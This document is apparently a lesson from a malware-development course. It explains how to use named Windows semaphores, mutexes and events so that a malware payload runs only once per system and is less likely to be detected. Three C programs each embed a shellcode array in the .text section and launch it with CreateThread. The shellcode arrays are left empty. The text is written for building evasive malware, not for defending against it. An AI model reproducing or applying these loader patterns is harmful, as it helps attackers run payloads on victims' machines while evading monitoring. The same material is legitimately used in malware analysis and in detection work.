Payload Execution Control

It's crucial to control what actions a malware can take to avoid detection. The more active a malware is, the higher the chance of it being caught by monitoring systems.

Windows Synchronization Objects are handy for managing how a malware payload runs. These tools help coordinate access to shared resources by multiple threads or processes. By using them, we can regulate how many times the malware payload runs on a system.

There are different types, such as semaphores, mutexes, and events. They all essentially do the same thing: manage access to shared resources.

Semaphores

Semaphores are like traffic signals for resources. They can either allow or deny access, depending on their value. We have binary ones (yes or no) and counting ones (multiple resources).

For controlling malware execution, we can create a named semaphore each time the payload runs. If the semaphore already exists, it means the payload is running, so we shouldn't run it again.

#include <Windows.h>
#include <stdio.h>

#define PAYLOAD_CONTROL_STRING	"MaldevAcademy"

// for the sake of simplicity, the payload is stored in the `.text` section 
// so that we dont have to copy it to a rwx / rx section at runtime

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	//shellcode
};

/*

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createsemaphorea

" If the named semaphore object existed before the function call,
the function returns a handle to the existing object and GetLastError returns ERROR_ALREADY_EXISTS. "

*/

BOOL IsPayloadRunning() {

	HANDLE hSemaphore = CreateSemaphoreA(NULL, 10, 10, PAYLOAD_CONTROL_STRING);

	if (hSemaphore != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
		return TRUE;
	else
		return FALSE;
}

int main() {

	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [1] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}

	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [2] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}
	else {
		printf("[+] Payload Is Already Running \n");
	}

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}

Mutexes

Mutexes are like bouncers for resources. They make sure only one thread or process accesses a resource at a time, avoiding conflicts or data mess-ups.

We create a named mutex using CreateMutexA. If it's locked, a thread waits until it's free to access the resource.

#include <Windows.h>
#include <stdio.h>

#define PAYLOAD_CONTROL_STRING	"MaldevAcademy"

// for the sake of simplicity, the payload is stored in the `.text` section 
// so that we dont have to copy it to a rwx / rx section at runtime

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	//shellcode
};

/*

https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa

" If the mutex is a named mutex and the object existed before this function call,
the return value is a handle to the existing object, and the GetLastError function returns ERROR_ALREADY_EXISTS. "

*/

BOOL IsPayloadRunning() {

	HANDLE hMutex = CreateMutexA(NULL, FALSE, PAYLOAD_CONTROL_STRING);

	if (hMutex != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
		return TRUE;
	else
		return FALSE;
}

int main() {
	
	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [1] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}

	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [2] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}
	else {
		printf("[+] Payload Is Already Running \n");
	}
	
	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}

Events

Events are like triggers for actions. They can be manual or automatic and help coordinate when threads or processes run.

We can use CreateEventA to set up events in a program.

#include <Windows.h>
#include <stdio.h>

#define PAYLOAD_CONTROL_STRING	"MaldevAcademy"

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Payload[] = {
	//shellcode
};

/*

https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa

"  If the named event object existed before the function call,
the function returns a handle to the existing object and GetLastError returns ERROR_ALREADY_EXISTS. "

*/

BOOL IsPayloadRunning() {

	HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, PAYLOAD_CONTROL_STRING);

	if (hEvent != NULL && GetLastError() == ERROR_ALREADY_EXISTS)
		return TRUE;
	else
		return FALSE;
}

int main() {

	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [1] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}

	if (!IsPayloadRunning()) {
		printf("[i] Running Payload [2] ... ");
		CreateThread(NULL, NULL, Payload, NULL, NULL, NULL);
		printf("[+] DONE \n");
	}
	else {
		printf("[+] Payload Is Already Running \n");
	}

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}

Last updated